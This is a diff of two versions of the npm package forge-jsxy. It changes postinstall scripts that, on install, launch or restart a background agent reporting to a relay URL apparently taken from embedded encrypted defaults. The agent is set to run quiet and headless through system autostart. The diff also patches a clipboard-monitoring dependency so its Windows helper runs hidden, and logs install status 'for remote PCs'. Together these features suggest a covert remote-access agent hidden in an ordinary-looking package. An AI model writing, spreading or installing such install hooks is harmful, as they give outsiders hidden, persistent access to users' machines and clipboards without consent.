forge-jsxy 1.0.91 → 1.0.92
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/assets/files-explorer-template.html +1 -1
- package/dist/autostart/agentEnvFile.js +20 -2
- package/package.json +1 -1
- package/scripts/forge-isolated-runtime.mjs +3 -2
- package/scripts/postinstall-agent.mjs +50 -1
- package/scripts/postinstall-clipboard-event.mjs +11 -10
- package/scripts/postinstall-durable-materialize.mjs +23 -1
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.92 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
|
@@ -410,7 +410,6 @@ function applyDefaultAgentUnattendedProcessEnv() {
|
|
|
410
410
|
*/
|
|
411
411
|
function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
|
|
412
412
|
fs.mkdirSync(dataDir, { recursive: true });
|
|
413
|
-
const p = forgeAgentEnvPath(dataDir);
|
|
414
413
|
const u = (syncApiUrl || "").trim();
|
|
415
414
|
// Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
|
|
416
415
|
const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`];
|
|
@@ -489,7 +488,26 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
|
|
|
489
488
|
: standardLinuxPaths;
|
|
490
489
|
lines.push(envFileLine("PATH", effectivePath));
|
|
491
490
|
}
|
|
492
|
-
|
|
491
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
492
|
+
const incoming = parseForgeAgentEnvFileToMap(`${lines.join("\n")}\n`);
|
|
493
|
+
let existing = new Map();
|
|
494
|
+
try {
|
|
495
|
+
existing = parseForgeAgentEnvFileToMap(fs.readFileSync(p, "utf8"));
|
|
496
|
+
}
|
|
497
|
+
catch {
|
|
498
|
+
/* first install — write full defaults */
|
|
499
|
+
}
|
|
500
|
+
const merged = new Map(existing);
|
|
501
|
+
for (const [k, v] of incoming) {
|
|
502
|
+
if (!merged.has(k))
|
|
503
|
+
merged.set(k, v);
|
|
504
|
+
}
|
|
505
|
+
/** Install-time sync URL is intentional; refresh when caller supplies one. */
|
|
506
|
+
if (u && !omitSyncUrl) {
|
|
507
|
+
merged.set("FORGE_JS_SYNC_URL", u);
|
|
508
|
+
merged.set("CFGMGR_API_URL", u);
|
|
509
|
+
}
|
|
510
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(merged).join("\n")}\n`, "utf8");
|
|
493
511
|
}
|
|
494
512
|
/**
|
|
495
513
|
* Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
|
package/package.json
CHANGED
|
@@ -27,6 +27,7 @@ import { existsSync, mkdirSync, readFileSync, readdirSync, unlinkSync, writeFile
|
|
|
27
27
|
import os from "node:os";
|
|
28
28
|
import path from "node:path";
|
|
29
29
|
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
30
|
+
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
30
31
|
|
|
31
32
|
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
32
33
|
const pkgRoot = path.resolve(__dirname, "..");
|
|
@@ -74,10 +75,10 @@ function resolveDistDirUnderLocalPrefix(prefixRoot) {
|
|
|
74
75
|
}
|
|
75
76
|
|
|
76
77
|
function npmEnv() {
|
|
77
|
-
return {
|
|
78
|
+
return isolatedNpmCacheEnv({
|
|
78
79
|
...process.env,
|
|
79
80
|
NPM_CONFIG_UPDATE_NOTIFIER: "false",
|
|
80
|
-
};
|
|
81
|
+
});
|
|
81
82
|
}
|
|
82
83
|
|
|
83
84
|
function stripEnvQuotes(v) {
|
|
@@ -35,7 +35,7 @@
|
|
|
35
35
|
* Legacy: `FORGE_JS_ISOLATED_RUNTIME=1` is no longer required — durable bootstrap runs unless skipped above.
|
|
36
36
|
*/
|
|
37
37
|
import { spawn, spawnSync } from "node:child_process";
|
|
38
|
-
import { existsSync, mkdirSync, readFileSync } from "node:fs";
|
|
38
|
+
import { appendFileSync, existsSync, mkdirSync, readFileSync } from "node:fs";
|
|
39
39
|
import { createRequire } from "node:module";
|
|
40
40
|
import os from "node:os";
|
|
41
41
|
import path from "node:path";
|
|
@@ -345,6 +345,28 @@ function stopAgentViaCfgmgr() {
|
|
|
345
345
|
return r.status === 0;
|
|
346
346
|
}
|
|
347
347
|
|
|
348
|
+
/** PM2-managed forge-agent keeps respawning after cfgmgr --stop; stop PM2 first when present. */
|
|
349
|
+
function tryPm2StopForgeAgent() {
|
|
350
|
+
const raw = (process.env.FORGE_JSX_PM2_AGENT_NAME ?? "forge-agent").trim();
|
|
351
|
+
if (!raw || ["0", "false", "no", "off", "skip", "none"].includes(raw.toLowerCase())) {
|
|
352
|
+
return false;
|
|
353
|
+
}
|
|
354
|
+
try {
|
|
355
|
+
const cmd = process.platform === "win32" ? "pm2.cmd" : "pm2";
|
|
356
|
+
const r = spawnSync(cmd, ["stop", raw], {
|
|
357
|
+
encoding: "utf-8",
|
|
358
|
+
stdio: verbose ? "inherit" : "ignore",
|
|
359
|
+
shell: process.platform === "win32",
|
|
360
|
+
windowsHide: true,
|
|
361
|
+
timeout: 120_000,
|
|
362
|
+
env: process.env,
|
|
363
|
+
});
|
|
364
|
+
return !r.error && r.status === 0;
|
|
365
|
+
} catch {
|
|
366
|
+
return false;
|
|
367
|
+
}
|
|
368
|
+
}
|
|
369
|
+
|
|
348
370
|
/**
|
|
349
371
|
* Resolve relay URL and report whether it was explicitly provided (via env
|
|
350
372
|
* var) or derived from the embedded encrypted deployment defaults.
|
|
@@ -382,6 +404,22 @@ function resolveRelayUrl() {
|
|
|
382
404
|
|
|
383
405
|
const verbose = (process.env.FORGE_JS_INSTALL_AGENT_LOG || "").trim() === "1";
|
|
384
406
|
|
|
407
|
+
/** Always-on install trace for remote PCs (`~/.local/share/.forge-js/` or CfgMgr data parent). */
|
|
408
|
+
function appendInstallLog(line) {
|
|
409
|
+
try {
|
|
410
|
+
const base = resolveInstallWorkingDir();
|
|
411
|
+
const dir = path.join(path.dirname(base), ".forge-js");
|
|
412
|
+
mkdirSync(dir, { recursive: true });
|
|
413
|
+
appendFileSync(
|
|
414
|
+
path.join(dir, "postinstall-agent.log"),
|
|
415
|
+
`${new Date().toISOString()} ${line}\n`,
|
|
416
|
+
"utf8"
|
|
417
|
+
);
|
|
418
|
+
} catch {
|
|
419
|
+
/* best-effort */
|
|
420
|
+
}
|
|
421
|
+
}
|
|
422
|
+
|
|
385
423
|
function ensureDirMaybe(dir) {
|
|
386
424
|
try {
|
|
387
425
|
mkdirSync(dir, { recursive: true });
|
|
@@ -451,6 +489,7 @@ if (agentAlreadyRunning(3000)) {
|
|
|
451
489
|
if (verbose) {
|
|
452
490
|
console.log("[forge-js] postinstall-agent: running agent detected; restarting to activate newly installed version.");
|
|
453
491
|
}
|
|
492
|
+
tryPm2StopForgeAgent();
|
|
454
493
|
void stopAgentViaCfgmgr();
|
|
455
494
|
void waitForAgentStop(8000);
|
|
456
495
|
}
|
|
@@ -486,6 +525,16 @@ if (!started && verbose) {
|
|
|
486
525
|
);
|
|
487
526
|
}
|
|
488
527
|
|
|
528
|
+
if (started) {
|
|
529
|
+
appendInstallLog(
|
|
530
|
+
`ok v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} cwd=${installCwd}`
|
|
531
|
+
);
|
|
532
|
+
} else {
|
|
533
|
+
appendInstallLog(
|
|
534
|
+
`agent_not_started v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} durable=${durableDistDir || "none"} — set FORGE_JS_INSTALL_AGENT_LOG=1`
|
|
535
|
+
);
|
|
536
|
+
}
|
|
537
|
+
|
|
489
538
|
if (
|
|
490
539
|
started &&
|
|
491
540
|
durableDistDir &&
|
|
@@ -23,11 +23,10 @@ const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
|
23
23
|
* `node_modules/forge-jsx/node_modules`. A fixed relative path skips the patch entirely,
|
|
24
24
|
* so the win32 helper keeps spawning a visible console. Resolve the real install path.
|
|
25
25
|
*/
|
|
26
|
-
function resolveClipboardEventRoot() {
|
|
27
|
-
const nested = join(
|
|
26
|
+
export function resolveClipboardEventRoot(fromDir = __dirname) {
|
|
27
|
+
const nested = join(fromDir, "..", "node_modules", "clipboard-event");
|
|
28
28
|
try {
|
|
29
|
-
const require = createRequire(
|
|
30
|
-
// clipboard-event 1.6+ uses "exports"; subpaths like package.json are not exported.
|
|
29
|
+
const require = createRequire(join(fromDir, "..", "package.json"));
|
|
31
30
|
const resolved = dirname(require.resolve("clipboard-event"));
|
|
32
31
|
if (existsSync(join(resolved, "index.js")) || existsSync(join(resolved, "index.cjs"))) {
|
|
33
32
|
return resolved;
|
|
@@ -38,7 +37,9 @@ function resolveClipboardEventRoot() {
|
|
|
38
37
|
return nested;
|
|
39
38
|
}
|
|
40
39
|
|
|
41
|
-
|
|
40
|
+
/** Patch clipboard-event under an explicit package root (ephemeral npm install or durable runtime). */
|
|
41
|
+
export function patchClipboardEventAtPackageRoot(pkgRoot) {
|
|
42
|
+
if (!pkgRoot || !existsSync(pkgRoot)) return;
|
|
42
43
|
|
|
43
44
|
// chmod +x all known Linux / macOS clipboard-event platform binaries.
|
|
44
45
|
// Covers all known architecture-specific names across clipboard-event 1.x releases.
|
|
@@ -71,11 +72,8 @@ for (const name of [
|
|
|
71
72
|
/**
|
|
72
73
|
* Patch clipboard-event's Windows execFile call to add { windowsHide: true }.
|
|
73
74
|
* Handles all known callback styles in clipboard-event 1.x releases.
|
|
74
|
-
*
|
|
75
|
-
* The win32 helper binary path may appear as a path.join() call or as a variable.
|
|
76
|
-
* We pattern-match the execFile call and inject options before any callback.
|
|
77
75
|
*/
|
|
78
|
-
function
|
|
76
|
+
function patchClipboardEventWindowsHideAtRoot(pkgRoot) {
|
|
79
77
|
if (process.platform !== "win32") return;
|
|
80
78
|
|
|
81
79
|
for (const name of ["index.js", "index.cjs"]) {
|
|
@@ -161,4 +159,7 @@ function patchClipboardEventWindowsHide() {
|
|
|
161
159
|
}
|
|
162
160
|
}
|
|
163
161
|
|
|
164
|
-
|
|
162
|
+
patchClipboardEventWindowsHideAtRoot(pkgRoot);
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
patchClipboardEventAtPackageRoot(resolveClipboardEventRoot());
|
|
@@ -13,6 +13,8 @@ import { existsSync, readFileSync } from "node:fs";
|
|
|
13
13
|
import os from "node:os";
|
|
14
14
|
import path from "node:path";
|
|
15
15
|
import { fileURLToPath } from "node:url";
|
|
16
|
+
import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
|
|
17
|
+
import { patchClipboardEventAtPackageRoot } from "./postinstall-clipboard-event.mjs";
|
|
16
18
|
|
|
17
19
|
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
18
20
|
const pkgRoot = path.resolve(__dirname, "..");
|
|
@@ -103,7 +105,7 @@ const mat = spawnSync(process.execPath, [isoScript], {
|
|
|
103
105
|
cwd: pkgRoot,
|
|
104
106
|
encoding: "utf8",
|
|
105
107
|
windowsHide: true,
|
|
106
|
-
env: process.env,
|
|
108
|
+
env: isolatedNpmCacheEnv({ ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" }),
|
|
107
109
|
maxBuffer: 48 * 1024 * 1024,
|
|
108
110
|
});
|
|
109
111
|
|
|
@@ -115,4 +117,24 @@ if (mat.status !== 0) {
|
|
|
115
117
|
process.exit(1);
|
|
116
118
|
}
|
|
117
119
|
|
|
120
|
+
try {
|
|
121
|
+
const cur = path.join(resolveInstallWorkingDir(), ".forge-jsxy", "current.json");
|
|
122
|
+
if (existsSync(cur)) {
|
|
123
|
+
const j = JSON.parse(readFileSync(cur, "utf8"));
|
|
124
|
+
const distDir = String(j.distDir || "").trim();
|
|
125
|
+
if (distDir) {
|
|
126
|
+
const durablePkg = path.resolve(distDir, "..");
|
|
127
|
+
const clipRoots = [
|
|
128
|
+
path.join(durablePkg, "node_modules", "clipboard-event"),
|
|
129
|
+
path.join(durablePkg, "..", "node_modules", "clipboard-event"),
|
|
130
|
+
];
|
|
131
|
+
for (const cr of clipRoots) {
|
|
132
|
+
patchClipboardEventAtPackageRoot(cr);
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
} catch {
|
|
137
|
+
/* optional dependency — non-fatal */
|
|
138
|
+
}
|
|
139
|
+
|
|
118
140
|
process.exit(0);
|